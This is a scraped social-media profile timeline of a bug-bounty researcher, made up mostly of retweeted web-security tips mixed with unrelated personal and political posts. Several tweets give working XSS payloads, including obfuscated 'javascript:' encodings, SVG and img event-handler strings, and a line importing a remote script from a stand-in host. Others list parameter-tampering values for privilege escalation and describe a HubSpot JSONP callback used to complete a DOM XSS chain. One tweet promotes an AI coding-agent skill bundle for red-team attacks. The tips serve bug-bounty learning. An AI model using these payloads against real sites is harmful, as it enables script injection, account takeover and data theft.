Gaurav Kumar(GDATTACKER)

4.7K posts

Gaurav Kumar(GDATTACKER) banner
Gaurav Kumar(GDATTACKER)

Gaurav Kumar(GDATTACKER)

@gdattacker

Recon 🔍 | Assets 🌐 | Cybersecurity 🛡️ | World + Web explorer 🌍 | Tasty food keeps me scanning | @HackenProof Security Researcher

New Delhi, India Katılım Mayıs 2014
3.6K Takip Edilen881 Takipçiler
Gaurav Kumar(GDATTACKER) retweetledi
KNOXSS
KNOXSS@KN0X55·
XSS PoC Styles - Noob alert(1) - Bug Hunter alert(document.domain) - WAF Ninja d=document,b='`',d['loca'%2B'tion']='javascrip'%2B't%26colon;aler'%2B't'%2Bb%2Bd.domain%2Bb - Red Teamer import('//domain.tld/xss2rce.js') - KNOXSS
KNOXSS tweet media
English
2
36
269
7K
Gaurav Kumar(GDATTACKER) retweetledi
KNOXSS
KNOXSS@KN0X55·
The "JavaScript:" XSS payload offers ample room for code obfuscation, as it can be encoded multiple times. JavaScript:alert(1) 👇🏾 JavaScript:%61lert(1) 👇🏾 JavaScript:&#37&#54&#49lert(1) 👇🏾 JavaScript:%26%2337%26%2354%26%2349lert(1) Lab gym.brutelogic.net/?p05=%3CIframe…
English
0
14
106
4K
Gaurav Kumar(GDATTACKER) retweetledi
bugcrowd
bugcrowd@Bugcrowd·
Quick bug bounty TIPS! ➡️ verified=false → true, “true”, "True", "TRUE", 1, "1", “yes” ➡️ /v3/users/1234 → v1, v0, internal, beta, legacy ➡️ quantity=100 → -1, 0, 9999999999, 1.82376931348623157e+308 ➡️ role=”user” → “admin”, “”, null, “system” ➡️ /admin → /Admin, /ADMIN, /aDmIn Try them now! ✅ Do you have something to add? 👇
bugcrowd tweet media
English
4
59
366
10.3K
Gaurav Kumar(GDATTACKER) retweetledi
KNOXSS
KNOXSS@KN0X55·
Crash Course on JavaScript for XSS Hunters Worth watching, liking and sharing!😎 youtube.com/watch?v=lkIFF4…
YouTube video
YouTube
English
0
6
32
2.5K
Gaurav Kumar(GDATTACKER) retweetledi
KNOXSS
KNOXSS@KN0X55·
Some Neat XSS Tricks </<K><Svg Onload=alert(1)> </<Kno XSS="><Svg Onload=alert(1)> <!<K><Svg Onload=alert(1)> <!<Kno XSS="><Svg Onload=alert(1)> Test them here: gym.brutelogic.net/?p05=any
English
0
6
83
4K
Gaurav Kumar(GDATTACKER) retweetledi
Cockroach is Back
Cockroach is Back@Cockroachisback·
Dharmendra Pradhan must resign!
English
3.1K
18.3K
72.6K
3.6M
Gaurav Kumar(GDATTACKER) retweetledi
Nicolas Krassas
Nicolas Krassas@Dinosn·
A Claude Code skill bundle for bug hunting and external red-team work - 51 skills, 15 slash commands, 574+ disclosed-report patterns curated across 24 vulnerability classes, plus enterprise identity + infrastructure attack matrices. github.com/elementalsouls…
English
3
143
656
26K
Gaurav Kumar(GDATTACKER) retweetledi
KNOXSS
KNOXSS@KN0X55·
XSS shot for whitelists, might get executed in DOM if attribute is evaluated. 1'"<S><A HRef=tel:/*%26apos;;/*%26quot;;/*%26lt;s%26gt;%26lt;Img/Src/*/O%26%2378;Error=alert(1)//%26gt; Title=tel:/*%26apos;;/*%26quot;;/*%26lt;s%26gt;%26lt;Img/Src/*/O%26%2378;Error=alert(1)//%26gt;>
English
0
3
21
820
GanaSec
GanaSec@ganaseclabs·
New blog from GanaSec: The 2017 Ghost in the Time Machine Hunting IOTimeSyncFamily on macOS Our Researcher Ashish Kunwar (@D0rkerDevil) independently discovered CVE-2026-28969 - a use-after-free race condition in Apple's IOTimeSyncFamily kernel extension.
English
4
9
30
4.1K
Helle Lyng
Helle Lyng@HelleLyngSvends·
Throughout all day I have struggled to log onto my Instagram account. Now I have been suspended. It is a small prize to pay for press freedom, but I’ve never experienced it before.
Helle Lyng tweet media
English
3.2K
8.5K
40.1K
1M
Gaurav Kumar(GDATTACKER)
Gaurav Kumar(GDATTACKER)@gdattacker·
@digitalocean what's going on account stuck at verification not getting reply on support ticket but the amount is being used from account help me out
English
1
0
0
56
Gaurav Kumar(GDATTACKER) retweetledi
Marouane Mouhtadi
Marouane Mouhtadi@Mar0_0uane·
During recent testing on a HubSpot-powered target, I needed a JSONP primitive to complete a DOM XSS chain. One interesting behavior: HubSpot CMS exposes a built-in endpoint in this format: `/_hcms/forms/embed/v3/form/{portalId}/{formId}?callback=alert` Example : `REDACTED. com/_hcms/forms/embed/v3/form/22544793/f411e5de-1b8b-4b19-8e6d-fe003d08cc8b?callback=alert` It's a JSONP endpoint that wraps the response in whatever function name you pass. Just load it as